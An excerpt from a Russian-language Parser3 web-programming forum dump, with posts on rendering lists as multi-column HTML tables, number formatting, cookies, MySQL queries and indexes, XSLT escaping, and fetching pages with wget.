	$news.[$key][^news.[$key].hash(^news.[$key].line[])[header]]\
}\
# Таким образом получили матрицу.\
\
# ширину колонок будим хранить в хеше.\
# если будит остаток от деления 100\\$cols, то он будит добавлен к ширине последней колонки\
$cell_width[\
	^for[k](1;$cols){\
		$.[$k](100\\$cols + ($k == $cols)*(100%$cols))\
	}\
]\
\
# выводим таблицу\
<table width=\"100%\" border=\"1\">\
^for[j](0;$i){\
<tr>\
	^for[k](1;$cols){\
#		width ставим только для первой строки\
		<td ^if(!$j){width=\"$cell_width.[$k]\"}>\
			^if(def $news.[$j].[$k].header){$news.[$j].[$k].header}{&nbsp^;}\
		</td>\
	}\
</tr>\
}\
</table>\
\
[/code]"
"49626","Почти получилось, только приезжает ответ в таком виде\
&lt;HTML&gt;\
&lt;HEAD&gt;\
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot;&gt;\
как такое исправить?"
"49628","[code]              [b]time    utime    memory_kb[/b]\
 Shipko M.    31,5    0.030    136\
 Kaverdo      16,5    0,016     76\
 Wonder       21,8    0,022    104\
 Wonder       20,5    0,019     96\
(без зебры)[/code]\
\
Таблица в 50 строк на 4 колонки."
"49630","http://www.parser.ru/forum/?id=33254\
там мы с Egr развели демагогии и вроде даже кое-что работающее вышло."
"49631","Огромное желание научиться писать на Parse'ре, но к сожалению...После установки Apache_Swissknife_v3_compact_without_mod_perl[i]и замены html кода в index.html (написан оператор  ^uri[])возникает проблема, браузер выдаёт ой... и  \"Ошибку вызвал этот фрагмент: uri \". Код проверял,-всё верно. В чём еще может быть ошибка?"
"49633","[code]\
@main[][t]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\" width=\"100%\">\
^cmenu[$t;id](4)\
</table>\
\
@cmenu[table;col_name;cols][counter;row;col]\
$counter(0)	\
^for[row](1;^math:ceiling($table/$cols)){\
<tr>\
	^for[col](1;$cols){\
		$counter($counter + 1)\
		<td ^if($row==1){width=\"^eval(100\\$cols + ($col == $cols)*(100%$cols))\"}>\
		^if($counter<=$table){$table.$col_name}{&nbsp^;}\
		</td>\
		^table.offset[cur](1)\
	}\
</tr>\
}\
### end of @cmenu[table;col_name;cols]\
[/code]"
"49634","Рома, ты молодец! :)\
\
Еще один вариант вспомнился, написанный больше Андрюхой aka Slash, нежели мной :)\
\
http://www.parser.ru/forum/?id=44373\
\
Для распечатки таблицы пример вызова такой:\
\
[code]\
<table border=\"1\">\
	<tr><td>\
	^tmenu[$table](3){\
		$table.title\
	}[</td><td>;</tr><tr>]\
	</td></tr>\
</table>\
[/code]\
\
[b]P.S.[/b] Интересно, какова скорость выполнения у этого варианта?.."
"49635","Используя этот метод нельзя проставить  правельный width и забить не заполненные ячейки .\
\
Кроме того он не работает:\
[code]\
<table border=\"1\">\
<tr><td>\
^tmenu[$t](4){$t.id}[</td><td>;</td></tr><tr><td>]\
</td></tr>\
</table>\
[/code]\
\
Что то не так с первой и последней строкой в результирующей html-таблице."
"49636","Если у нас 4 колонки, то их ширина будет равна: 25% 25% 25% 25%\
Если три, то -- 34% 33% 33%\
А если шесть -- [color=\"#ff0000\"]20%[/color] 16% 16% 16% 16% 16%\
\
Для того чтобы избавиться от такой неравномерности, предлагаю сделать так:\
[code]\
@main[][t]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\" width=\"100%\">\
^cmenu[$t;id](6)\
</table>\
\
@cmenu[table;col_name;cols][counter;row;col]\
$counter(0)	\
^for[row](1;^math:ceiling($table/$cols)){\
<tr>\
	^for[col](1;$cols){\
		$counter($counter + 1)\
		<td ^if($row==1){width=\"^eval(100\\$cols + ($col <= 100%$cols))%\"}>\
		^if($counter<=$table){$table.$col_name}{&nbsp^;}\
		</td>\
		^table.offset[cur](1)\
	}\
</tr>\
}\
### end of @cmenu[table;col_name;cols]\
[/code]\
\
Для шести колонок значения ширины будит такими: 17% 17% 17% 17% 16% 16%\
Для трех: 34% 33% 33%\
Для пяти: 20% 20% 20% 20% 20%"
"49637","А как же первый пример из документации парсера? (Файл parser_ref2)\
который в качестве примера предлагает ввести : \"...<body>Вот мой URI: ^uri[]</body>...\""
"49639","[code]@main[][t]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\">\
^tableInColumns[$t](6){$t.id}\
</table>\
\
@tableInColumns[table;cols;cellCode][i]\
<tr>\
\
^table.menu{\
	<td^if(^table.offset[] < $cols){\
	width=\"^eval(100\\$cols + (^table.offset[] % $cols < 100 % $cols))%\"\
	}>$cellCode</td>\
\
	^if(!(^table.line[] % $cols) && ^table.line[] < $table){</tr><tr>}\
\
	}\
}\
\
^if($table % $cols){\
	^for[i](1;$cols - $table % $cols){<td><br/></td>}\
}\
\
</tr>[/code]\
\
Ваш и мой метод теперь работают практически с одинаковой скоростью. Расход памяти при разном значении $cols в пользу то одного метода, то другого."
"49641","[code]\
$t[^table::create{id\
^for[i](1;50){$i\
}}]\
\
<table border=\"1\">\
	<tr><td>\
		^tmenu[$t](4){\
			$t.id\
		}[</td><td>;</tr><tr>]\
	</td></tr>\
</table>\
\
\
@tmenu[table;cols;code;separator;separator_advanced]\
^table.menu{\
	$code\
	^if(^table.line[] != $table){\
		^if(!(^table.line[] % $cols)){\
			$separator_advanced\
		}\
		$separator\
	}\
}\
# end @tmenu[]\
[/code]\
\
Результаты @run_time этого варианта, произведенные Kaverdo:\
\
[code]\
[b]time    utime    memory_kb[/b]\
13.7    0.014    68\
[/code]\
\
[b]P.S.[/b] Метод не рисует пустые ячейки в конце"
"49642","Тестового хостинга нет.\
Я испробовал все уже варианты: к себе копировал этот злощастный libmysqlclient.so из директории /usr/lib64/, права менял, менял расположение-результат один. У меня единственный вопрос, уважаемый PAF, работает ли библиотека libparser3mysql.so с 64-библиотекой libmysqlclient.so?\
Необходимые данные:\
Parser 3.2\
MySQL 4.1.14\
Платформа Linux"
"49643","А если взять вашу идею с cellCode\
и применить в моем методе, то будит самый оптимальный вариант.\
\
[code]\
@cmenu[table;cols;cellCode][counter;row;col]\
$counter(0)	\
^for[row](1;^math:ceiling($table/$cols)){\
<tr>\
	^for[col](1;$cols){\
		$counter($counter + 1)\
		<td ^if($row==1){width=\"^eval(100\\$cols + ($col <= 100%$cols))%\"}>\
			^if($counter<=$table){$cellCode}{&nbsp^;}\
		</td>\
		^table.offset[cur](1)\
	}\
</tr>\
}\
### end of @cmenu[table;cols;cellCode]\
[/code]"
"49644","Делаем отельный скрипт который выводит картинку:\
\
[b]image.html[/b]\
[code]$img[^file::sql{select img from db_images where id = ^form:img_id.int(0)}]\
$response:body[$img][/code]\
\
[b]index.html[/b]\
[code]<img src=\"image.html?img_id=112\">[/code]"
"49648","С получением формы в нормальном виде получилось. Потратил пол дня на то чтобы передать в форму имя и пароль и получить ответ, не выходит.Пробовал через $.user $.password."
"49649","Товарищи, прошу совета.\
Есть xml с помещёнными в него отэскейпенными тэгами, вида:\
[code]&lt;nobr&gt;99-2005&lt;/nobr&gt;[/code]\
что позволяет не заморачиваться с проверкой валидности документа на момент сборки и делать при выводе просто disable-output-escaping=\"yes\".\
Встала задача:\
вывести значение без этих \"тэгов\", то бишь средствами xsl получить из [code]&lt;nobr&gt;99-2005&lt;/nobr&gt;[/code]\
->\
[code]99-2005[/code]\
\
Попытался с наскоку решить проблему \"в лоб\":\
[code]\
<xsl:variable name=\"var\">\
	<xsl:value-of select=\"...\" disable-output-escaping=\"yes\"/>\
</xsl:variable>\
<xsl:value-of select=\"$var\"/>\
[/code]\
однако результат быстро остудил весь мой творческий пыл.\
\
Сталкивался ли кто-нибудь с такой задачей и как решал, если решал?.."
"49652","Вопрос в конце ветки\
http://www.parser.ru/forum/?id=49425"
"49653","Может добавить его в общий lib.p\
\
[code]\
###############################################################\
# компилирует модуль в контексте своего вызова\
@my_use[modul_path][pname;process_body]\
^if(!def $MAIN:processes){$MAIN:processes[^hash::create[]]}\
^if(^modul_path.pos[/]){\
#	если путь модуля начинается НЕ со слеша, то прибавляем к нему путь каталога классов\
	$modul_path[${MAIN:CLASS_PATH}/$modul_path]\
}\
$pname[^math:md5[$modul_path]]\
^if(!$MAIN:processes.$pname){\
	^try{\
		$process_body[^file::load[text;$modul_path]]\
		$process_body[^taint[as-is][^trim[$process_body.text]]]\
		^if(^process_body.pos[@main^[^]] >= 0){\
#			если в нем есть буковки '@main[]' -- меняем их\
			$process_body[^process_body.match[\\@main\\^[\\^]][g]{@${pname}^[^]}]\
		}{\
#			а если их нету, и в файле что-то есть -- приделываем их в самое начало\
			^if(def $process_body){\
				$process_body[@${pname}^[^] ^#0A$process_body]\
			}\
		}\
	}{\
#		какой-то облом, ну и фиг с ним. бум считать, что кода нету\
		$exception.handled(1)\
		$process_body[]\
	}\
	^process[$caller.self]{$process_body}\
#	запоминаем, что мы его уже откомпилили\
	$MAIN:processes.$pname(1)\
}\
### end of @my_process[]\
[/code]\
\
Пример использования\
[code]\
@CLASS\
my_class\
\
@create[params]\
# ...\
^if(^params.for_admin.int(0)){\
#	если создают объект для администрирования, то в контексте текущего класса \
#	компелируем методы из модуля my_class_admin.p\
	^my_use[my_class/my_class_admin.p]\
\
#	Причем, повторное подключение не приведет к повторной компиляции\
	^my_use[my_class/my_class_admin.p]\
}\
# ...\
[/code]\
\
\
[code]\
########### my_class_admin.p ###########\
@method_1[]\
# ...\
\
@method_2[]\
# ...\
\
@method_N[]\
# ...\
[/code]"
"49655","Нашел такой пример в XML документации от MS\
\
\
[color=\"#333333\"]…For example, the following generates the single character \"<\".[/color]\
[code]\
<xsl:value-of disable-output-escaping=\"yes\" select=\"string('&lt;')\"/> \
[/code]\
\
\
[b]Note[/b]\
[color=\"#333333\"]Because disable-output-escaping=\"yes\" can be used to generate non-well-formed documents, it should be used with caution. Output that is not well-formed can generate errors in certain circumstances. For example, transformNodeToObject to an XML document requires that the result be well-formed, and thus might not complete if disable-output-escaping has affected the well-formedness of the document. Consider disable-output-escaping=\"yes\" an advanced feature, to be used only when the potential dangers are understood.[/color]"
"49657","[code]<xsl:value-of disable-output-escaping=\"yes\" select=\"string('&lt;nobr&gt;99-2005&lt;/nobr&gt;')\"/>[/code]\
вернёт \
[code]<nobr>99-2005</nobr>[/code]\
я это и проделываю при выводе.\
Однако, сейчас нужно получить просто \"99-2005\".\
\
Мысль такая и была: положить в переменную с disable-output-escaping=\"yes\", получить в ней фрагмент дерева.\
Потом вывести строковое значение этого фрагмента, при этом выводе тэги должны выброситься и остаться только текст.\
\
Да вот фрагмента дерева мы не получаем, ибо не позволяет xsl 1 такого.\
\
Посему и сижу, думаю, какой финт сделать, чтобы обойти."
"49658","Так что не кричите зря, как появится - увидит все ваши сообщения."
"49662","http://knigman.net/buy.php?tovid=2960"
"49663","А там какие-нибудь изменения оригинальной CHM-ки есть?\
А ссылка на правообладателя есть?\
Сколько процентов вы отдаете автору документации?"
"49664","Пробую такой код\
$file[^file::load[text;https://test/cgi-bin/core.exe]]\
в итоге парсер пишет что ошибка - \
/: /var/test/data/index.html(13:14): 'https://test/cgi-bin/core.exe' read failed: No such file or directory (2), actual filename 'https_3A//test/cgi-bin/core.exe' [file.missing]\
если напрямую обратится к core.exe то все работает, но сначала надо 2 раза ок нажать (насчет сертификата)\
Как правильнее сделать такое?"
"49665","Проблема решается [b]очень[/b] легко с помощью утилиты wGet.\
[url=\"http://www.parser.ru/forum/?search_in_message=1&author=&doSearch=%CD%E0%E9%F2%E8&terms=wget\"]Поищите по форуму[/url]"
"49666","пишем простейший код:\
\
^eval(1+(290+290*0.18)) = 343.2\
^eval(1-(290+290*0.18)) = -341 \
\
а куда делась десятичная часть из отрицательного ответа ?\
Форматную строку не предлагать - не помогает.\
\
---\
dimap"
"49671","...потомучто она работает (Parser 3.21)\
[code]\
^eval(1+290-290*0.18)[%.2f] ^rem{ # вернет  343.20}\
^eval(1-290-290*0.18)[%.2f] ^rem{ # вернет -341.20}\
[/code]"
"49672","Сделал так\
$xml[^file::exec[/wget;-nc;--no-check-certificate;https://test/cgi-bin/core.exe]]\
$f2[^file::load[text;core.exe]]\
^taint[as-is][$f2.text]\
выводится форма с логином и паролем, после ввода попадаю в отчет, ссылка у него такая\
\
https://test2/cgi-bin/coreu?key=c63bec43f16d9f4bbc97901439540ddc&cmd=reports\
\
как мне перехватить этот вывод (после ввода пароля), чтоб потом из этого репорта взять только несколько строк и заодно как-то получить значение ключа key."
"49673","1. Первый метод возвращает строку доменного имени с учётом порта.\
[code]\
@domain[]\
$result[${env:SERVER_NAME}^if(!($env:SERVER_PORT == 80)){:${env:SERVER_PORT}}]\
#end @domain[]\
[/code]\
\
2. Второй метод делает refresh сам на себя и подставляет $request:uri, можно указать дополнительную строку.\
[code]\
@refresh[additional_string;protocol]\
^if(def $additional_string){\
	$_string[^if(^request:uri.pos[?]>=0){&}{?}$additional_string]\
}\
$_protocol[^if(def $protocol){$protocol}{http}]\
^location[${_protocol}://^taint[as-is][^domain[]$request:uri]^if(def $_string){$_string}]\
#end @refresh[]\
[/code]\
[i]Мне кажется возможно необходимо убрать $protocol, т.к. слышал, что Parser не работает с https.[/i]\
\
3. Третий метод это немного изменённый [url=\"http://www.parser.ru/forum/?id=30740\"]@is_cookie_on от redactor'а[/url].\
[code]\
@test_cookie[]\
^if(!def $form:sid){\
	$sid[^math:uid64[]]\
	$cookie:$sid[$sid]\
	^refresh[sid=$sid]\
}{\
	$formname[$form:sid]\
	^if(def $cookie:$formname){\
		$cookie_sid[$cookie:$formname]\
		$cookie:sid[$cookie_sid]\
		$cookie:$formname[]\
		$result(1)\
	}{\
		$result(0)\
	}\
}\
#end @test_cookie[]\
[/code]\
[i]Мне кажется так удобнее, посколько потом можно использовать $cookie:sid, либо $form:sid.[/i]\
\
[b]Мой пример использования методов.[/b]\
Создаю метод.\
[code]\
@getSID[]\
^if(^cookie:sid.length[] == 16){\
	^if(!(def $form:sid)){\
		^refresh[sid=$cookie:sid]\
	}\
	$result[$cookie:sid]\
}{\
	^test_cookie[]\
	$result[$form:sid]\
}\
#end @getSID[]\
[/code]\
\
Хотелось бы увидеть мнения по этим методам. Возможно вы подскажете лучшие способы...\
[i]Я думаю они есть, но пока не пришли мне в голову.[/i]"
"49674","спасибо. ошибка нашлась... я просто не совсем корректно указал исходный код. на самом деле было так:\
$result(^eval(1-290-290*0.18)[%.2f])\
$result\
соответственно вывод был -341\
\
а надо было:\
$result(^eval(1+290-290*0.18))\
^result.format[%.2f]\
тогда -341.20, т.е. все ок.\
\
просто интересен сам факт - при положительных ответах форматирование вывода не требуется, а при отрицательном - требуется.\
\
---\
dimap"
"49675","1. wGet-ом получаете файл по https, сохраняете в temp,\
2. Загружаете текст полученного файла и выкусываете regexp-ом нужный адрес\
3. см. п.1 :)"
"49676","[b]1.[/b]\
[code]\
@domain[]\
$result[$env:SERVER_NAME^if($env:SERVER_PORT != 80)){:$env:SERVER_PORT}]\
#end @domain[]\
[/code]\
\
[b]2.[/b]\
[code]\
@refresh[string]\
^if(def $string){\
	$string[^if(^request:uri.pos[?] >= 0){&}{?}$string]\
}\
^location[http://^taint[as-is][^domain[]$request:uri]$_string]\
#end @refresh[]\
[/code]\
\
[b]P.S.[/b]\
[code]\
^if(!(def $form:sid))\
==\
^if(!def $form:sid){\
[/code]"
"49677","В полученном файле нет ссылок, там только поля формы и все, ну и куда постить логин и пароль. Или надо сделать свою форму, потом получить имя и пароль, затем как-то подсунуть их в пости ловить ответ?\
ps можно с вами по аське списаться?"
"49678","Отлично, форма есть. Значит у нее есть action=\"...\", т.е. куда она будет отправлена по сабмиту. И заодно еще есть у нее атрибут method=\"...\", если он POST, значит надо данные отправлять как POST. Читайте [url=\"http://www.parser.ru/forum/?id=43415\"]документацию по wGet на русском языке[/url] :)"
"49679","Через wget максимум чего добился это скачивание первой страницы, после логина. В ней есть нужные ссылки, но скачать по ним не выходит, пробовал рекурсивно, не помогло."
"49680","[quote]просто интересен сам факт - при положительных ответах форматирование вывода не требуется, а при отрицательном - требуется.[/quote]\
\
Форматирование требуется при любом выводе данных типа double, т.к. double сеодержит обычно 15 значащих цыфр и если выводить просто так, то будет произведено автоматическое форматирование (см. в доке)\
\
[code]\
$a(12.3456789)\
$b(-12.3456789)\
a = $a			^rem{ #  12.3457}\
<br />\
a = ^a.format[%.15f]	^rem{ #  12.345678899999999}\
<br />\
b = $b			^rem{ # -12}\
<br />\
b = ^b.format[%.15f]	^rem{ # -12.345678899999999}\
<br />\
# даже если вы явно задаете, казалось бы, целое число\
$c(5)\
# оно все равно содержит 15 значащих цыфр\
c = ^c.format[%.15f]	^rem{ #   5.000000000000000}\
<br />\
# и принадлежит классу double (не int)\
^if($c is \"double\"){Yes. \"^$c\" is double.}\
<br />\
# Класс int появляется только в этом случае:\
$c(^c.int[])\
^if($c is \"int\"){Yes. \"^$c\" is int.}\
[/code]"
"49683","Я понимаю, что возможно скорее это про запросы, но форум нравится, люди грамотные, не хочется где-то еще спрашивать.\
\
В общем пытаюсь построить таблицу опять:\
\
[code]\
$events[^table::sql{\
	SELECT\
		id,\
		header,\
		announce,\
		category,\
		date\
}]\
\
<table width=\"100%\"  border=\"0\" cellpadding=\"10\"> \
^events.menu{\
	<tr> \
		<td align=\"center\" valign=\"top\">10 февраля</td> \
		<td width=\"100%\" valign=\"top\"> \
			<h3>Интернет</h3>Заголовок_1, Текст_1<br><br>Заголовок_2, Текст_2 \
			[i]и т.д., если больше новостей за данное число и в данной категории[/i]\
			<h3>Софт</h3>Заголовок_1, Текст_1<br><br>Заголовок_2, Текст_2 \
			[i]и т.д., если больше новостей за данное число и в данной категории[/i]\
		</td> \
	</tr> \
	<tr> \
		<td align=\"center\" valign=\"top\">11 февраля</td> \
		<td width=\"100%\" valign=\"top\"> \
			<h3>Технологии</h3>Заголовок_1, Текст_1<br><br>Заголовок_2, Текст_2\
			[i]и т.д., если больше новостей за данное число и в данной категории[/i]\
			<h3>Софт</h3>Заголовок_1, Текст_1<br><br>Заголовок_2, Текст_2 \
			[i]и т.д., если больше новостей за данное число и в данной категории[/i]\
			<h3>Безопасность</h3>Заголовок_1, Текст_1<br><br>Заголовок_2, Текст_2 \
			[i]и т.д., если больше новостей за данное число и в данной категории[/i]\
		</td> \
	</tr> \
	...\
</table> \
[/code]\
\
Помогите, пожалуйста."
"49684","Решил не делать https. Как тогда мне перехватывать ответы и ходить по ссылкам?"
"49685","А если адрес вбит как текст и точно правильный, что бы ещё могла означать эта ошибка?\
\
Причём скрипт я не трогал, он три месяца работал нормально, потом вдруг стала выскакивать эта ошибка. Думал, проблема в sendmail, но PHP отсылает почту без проблем. В phpinfo() указан путь /usr/sbin/sendmail\
\
Может, хостер виноват?"
"49686","Можно по конкретнее, какая именно звезда вас интересует?\
\
Пособие по подсчёту звёзд здесь: http://www.parser.ru/docs/"
"49687","Задача :\
разраконить uri  чтобы появилась таблица \
к примеру \
URI /1/2/3/index.html\
таблица\
1\
2\
3\
index.html"
"49689","[code]\
@getDomain[]\
$result[$env:SERVER_NAME^if($env:SERVER_PORT != 80){:$env:SERVER_PORT}]\
#end @getDomain[]\
\
@refresh[string]\
^if(def $string){\
	$string[^if(^request:uri.pos[?]>=0){&}{?}$string]\
}\
^location[http://^taint[as-is][^getDomain[]$request:uri]^untaint[uri]{$string}]\
#end @refresh[]\
\
@test_cookie[]\
^if(!def $form:sid){\
	$sid[^math:uid64[]]\
	$cookie:$sid[$sid]\
	^refresh[sid=$sid]\
}{\
	$formname[$form:sid]\
	^if(def $cookie:$formname){\
		$cookie_sid[$cookie:$formname]\
		$cookie:sid[$cookie_sid]\
		$cookie:$formname[]\
		$result(1)\
	}{\
		$result(0)\
	}\
}\
#end @test_cookie[]\
\
@getSID[]\
^if(^cookie:sid.length[] == 16){\
	^if(!def $form:sid){\
		^refresh[sid=$cookie:sid]\
	}\
	$result[$cookie:sid]\
}{\
	^test_cookie[]\
	$result[$form:sid]\
}\
#end @getSID[]\
[/code]"
"49690","Класс создан на основании статьи о [url=\"http://www.parser.ru/examples/trees/\"]построении деревье от Misha v.3[/url].\
[code]\
@CLASS\
bcategories\
\
@bOptions[]\
$printCategory_tag_name[category]\
#end @bOptions[]\
\
@getCategories[getCategories_params]\
$_getCategories_params[^hash::create[$getCategories_params]]\
$result[^MAIN:pSQL.sql[table]{\
	SELECT\
		categories.category_id,\
		dt_published,\
		category_parent_id,\
		category_thread_id,\
		^if(def $_getCategories_params.SQL_SELECT){\
			$_getCategories_params.SQL_SELECT,\
		}\
		title\
	FROM\
		^if(def $_getCategories_params.SQL_FROM){\
			$_getCategories_params.SQL_FROM,\
		}\
		categories\
	WHERE\
		^if(def $_getCategories_params.SQL_WHERE){\
			$_getCategories_params.SQL_WHERE AND\
		}\
		categories.is_published = 1\
	ORDER BY\
		title ASC\
}[\
	^if(^_getCategories_params.offset.int(0)){\
		$.offset(^_getCategories_params.offset.int(0))\
	}\
	^if(^_getCategories_params.limit.int(0)){\
		$.limit(^_getCategories_params.limit.int(0))\
	}\
]]\
#end @getCategories[]\
\
@getCategoryById[category_id]\
$result[\
	^getCategories[\
		$.SQL_WHERE[categories.category_id = ^category_id.int(0)]\
		$.limit(1)\
	]\
]\
#end @getCategoryById[]\
\
@getCategoriesByParent[category_parent_id;limit]\
$result[\
	^getCategories[\
		$.SQL_WHERE[category_parent_id = ^category_parent_id.int[]]\
		^if(^limit.int(0)){\
			$.limit(^limit.int(0))\
		}\
	]\
]\
#end @getCategoriesByParent[]\
\
@getCategoriesByThread[thread]\
$result[\
	^getCategories[\
		$.SQL_WHERE[\
			^if($thread is table){\
				^if($thread){\
					category_thread_id IN (^thread.menu{$thread.category_thread_id}[,])\
				}\
			}{\
				category_thread_id = ^thread.category_thread_id.int(0)\
			}\
		]\
	]\
]\
#end @getCategoriesByThread[]\
\
@printCategory[category;body]\
<${printCategory_tag_name}>\
	<category_id>^category.category_id.int[]</category_id>\
	^XML_date[\
		$.date[$category.dt_published]\
		$.tag_name[dt_published]\
	]\
	<title>$category.title</title>\
	$body\
</${printCategory_tag_name}>\
#end @printCategory[]\
\
@printCategories[categories]\
^categories.menu{\
	^printCategory[$categories.fields]\
}\
#end @printCategories[]\
\
@printCategoriesByParent[categories;category_parent_id][level_categories]\
$level_categories[^categories.select($categories.category_parent_id == $category_parent_id)]\
^level_categories.menu{\
	^printCategory[$level_categories.fields;^printCategoriesByParent[$categories;$level_categories.category_id]]\
}\
#end @printCategoriesByParent[]\
\
@category[category_params]\
$category[^getCategoryById[$category_params.params.category_id]]\
$result[^printCategory[$category]]\
#end @category[]\
\
@categories[categories_params]\
$root_categories[^getCategoriesByParent[$categories_params.params.category_parent_id;$categories_params.params.categories_limit]]\
^if($root_categories){\
	^if($categories_params.params.show_root_categories){\
		$result[^printCategories[$root_categories]]\
	}{\
		$categories[^getCategoriesByThread[$root_categories]]\
		^if($categories){\
			$result[^printCategoriesByParent[$categories;$categories_params.params.category_parent_id]]\
		}{\
			^throw[not_found;Could not find categories]\
		}\
	}\
}{\
	^throw[not_found;Could not find root categories]\
}\
#end @categories[]\
\
@auto[]\
^bOptions[]\
#end @auto[]\
[/code]\
Вижу есть неудобства. К примеру запросы не кэшируются... Или даже не создается хэш.\
Важно мнение о подходе с использование главного метода @getCategories[], а уже подметоды @getCategoriesById[], @getCategoriesByParent[], @getCategoriesByThread[] работают от него.\
\
При следующем использовании:\
[code]\
^bcategories:categories[\
	$.params[\
		$.category_parent_id(2)\
		$.show_root_categories(1)\
		$.categories_limit(10)\
	]\
]\
[/code]\
с вызовом ?mode=debug почему-то в sql.txt сохраняется:\
[code]\
SQL connections while generating page: 1\
SQL requests while generating page\
\
table:  	2		[0 ms/16 KB/136 blocks]\
--------------------------------------------------\
TOTAL:  	2		[0 ms/16 KB/136 blocks]\
\
TYPE: table\
EXECUTION TIME: 0 ms\
MEMORY USAGE: 8 КБ/80 blocks\
ROWS SELECTED: 2\
SQL OPTIONS: $.limit(10)\
QUERY:\
SELECT categories.category_id, dt_published, category_parent_id, category_thread_id, title FROM categories WHERE category_parent_id = 2 AND categories.is_published = 1 ORDER BY title ASC\
EXPLAIN:\
id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra\
1	SIMPLE	categories	ref	ix_categories_0,ix_categories_3	ix_categories_0	3	const,const	1	Using where; Using filesort\
\
\
TYPE: table\
EXECUTION TIME: 0 ms\
MEMORY USAGE: 8 КБ/56 blocks\
ROWS SELECTED: 4\
SQL OPTIONS: $.limit(10)\
QUERY:\
SELECT categories.category_id, dt_published, category_parent_id, category_thread_id, title FROM categories WHERE category_parent_id = 1 AND categories.is_published = 1 ORDER BY title ASC\
EXPLAIN:\
id	select_type	table	type	possible_keys	key	key_len	ref	rows	Extra\
1	SIMPLE	categories	ref	ix_categories_0,ix_categories_3	ix_categories_0	3	const,const	4	Using where; Using filesort\
[/code]\
Не пойму почему два запроса и WHERE category_parent_id имеет разные значения. В первом 2, а во втором 1..."
"49691","$tab[^table::sql{select id, name\
from t2\
where id = (select id from t1 where id<=2)\
}]\
\
у меня что-то ругается \
\"Subquery returns more than 1 row\"\
\
работает только такие конструкции\
$tab[^table::sql{select id, name\
from t2\
where id = (select id from t1 where id=2)\
}]\
когда подзапрос выдаёт одну запись"
"49692","$tab[^table::sql{select id, name\
from t2\
where id in (select id from t1 where id<=2)\
}]"
"49696","Кто нибудь запускал на apache swissknife phpnuke? \
Я установил Apache Swissknife 3 без mod_perl и попробовал поставить phpnuke 7.9. В config.php указал dbuname = \"root\". При подключении к MySQL вылетает ошибка что какая то инструкция не может прочитать память. Из-за чего это может быть?"
"49697","Существует ли редактор parser с выделением синтаксиса?"
"49699","вот это не работает:\
\
$hostname[http://user:password@mydomain.com:2222/CMD_API_SHOW_USER_USAGE?user=username]\
$file[^file::load[text;$hostname]] \
$file.text\
\
ошибка такая:\
load\
can not resolve hostname \"user\""
"49701","в 4.2.1 у меня на Денвере тоже работал in..."
"49702","Можно использовать как в Windows'е, так и Linux'е.\
Подсветку можно скачать на этом сайте в разделе \"Скачать - Разное\".\
\
Официальный сайт: http://www.jedit.org/."
"49703","Есть запрос:\
\
SELECT  idtovar, sum(count_tovar) as countT\
FROM sostav_zakaz\
GROUP by idtovar\
\
поле idtovar входит в составной первичный ключ:\
- idzakaz\
- idtovar\
\
Надо ли для увеличения скорости выполенения запроса создавать индекс по полю \"count_tovar\" или это параноя ? :)"
"49704","А есть ли редактор с чем-нибудь вроде IntelliSence для Парсера?"
"49706","[code]\
@USE\
/classes/test.p\
\
@main[]\
^connect[$connect_string]{^test1[]}\
^rusage[totall]\
[/code]\
\
Замеры скорости:\
[2006-02-11 20:41:07.140250] 127.0.0.1: totall 0.140625 0.03125 /admin/_test/1.html \
[2006-02-11 20:43:42.515250] 127.0.0.1: totall 0.09375 0.109375 /admin/_test/1.html \
[2006-02-11 20:44:09.468375] 127.0.0.1: totall 0.140625 0.046875 /admin/_test/1.html \
[2006-02-11 20:44:11.780875] 127.0.0.1: totall 0.078125 0.078125 /admin/_test/1.html \
[2006-02-11 20:44:13.202750] 127.0.0.1: totall 0.109375 0.0625 /admin/_test/1.html \
[2006-02-11 20:44:14.812125] 127.0.0.1: totall 0.109375 0.078125 /admin/_test/1.html \
\
\
\
[code]\
@USE\
/classes/test.p\
\
@main[]\
^connect[$connect_string]{}\
^rusage[ex1]\
[/code]\
\
Замеры скорости:\
[2006-02-11 20:45:01.515250] 127.0.0.1: ex1 0.09375 0.0625 /admin/_test/1.html \
[2006-02-11 20:45:19.343375] 127.0.0.1: ex1 0.09375 0.015625 /admin/_test/1.html \
[2006-02-11 20:45:38.624625] 127.0.0.1: ex1 0.046875 0.03125 /admin/_test/1.html \
[2006-02-11 20:45:41.187125] 127.0.0.1: ex1 0.046875 0.09375 /admin/_test/1.html \
[2006-02-11 20:45:42.249625] 127.0.0.1: ex1 0.0625 0.0625 /admin/_test/1.html \
[2006-02-11 20:45:43.499625] 127.0.0.1: ex1 0.0625 0.109375 /admin/_test/1.html \
\
В методе test1 идут 2 запроса из БД с группировкой, созадётся из таблицы хеш, потом циклов перебирается одна полученная таблица и из двух таблиц делается результирующая (добавляются столбцы). Делается вывод на страничку.\
Замеры по скорости почти одинаковые. Это нормально? И насколько быстро работает скрипт, выполняющий описанную задачу. Если не понятно объяснил могу выложить исходник."
"49707","[code]\
<form method=\"post\">\
<input type=\"text\" name=\"usrname\">\
<input type=\"password\" name=\"pass\">\
#<input type=\"hidden\" name=\"cmd\" value=\"login\">\
<input type=\"submit\" name=\"Войти\">\
</form>\
^if(def $form:usrname && def $form:pass){\
$file_login[^file::load[text;http://127.0.0.1:88/administrator/index.php;\
						$.method[POST]\
						$.timeout(10)\
						$.any-status(1)\
						$.form[^form:fields.foreach[field;value]{$.$field[$value]}]\
						]\
			]\
\
$response:body[^taint[as-is][$file_login.text]]\
#				}		\
			}{\
Нужно вести имя и пароль\
}\
[/code]\
В итоге вываливается та форма для ввода имени и пароля. Имя и пароль ввожу верные, но дальше этой формы не прохожу. В чем я туплю?\
Ан нет, оно работает, не работает дальше - ответ от сервера \
 SET-COOKIE=ef0a495f67700d08e8d268fef0929e7f=907b1a2139023a1ae6597ab4f70191a6; path=/\
как эту куку потом дальше подсовывать?\
"
"49708","ибо неясно с каким объёмом данных вы работаете.\
\
Вообще же лучше формировать таблицу силами СУБД, у неё это всегда получается лучше."
"49709","Если бы не GROUP BY, то индексы не нужны были бы вовсе.\
А так как вы просите MySQL разгруппировать результаты по idtovar, \
то нужно ему в этом помочь соответствующим индексом.\
\
Создайте индекс для поля idtovar."
"49711","когда делаешь:\
explain SELECT idtovar, sum(count_tovar) as countT\
FROM sostav_zakaz\
GROUP by idtovar\
\
получаем:\
id	1\
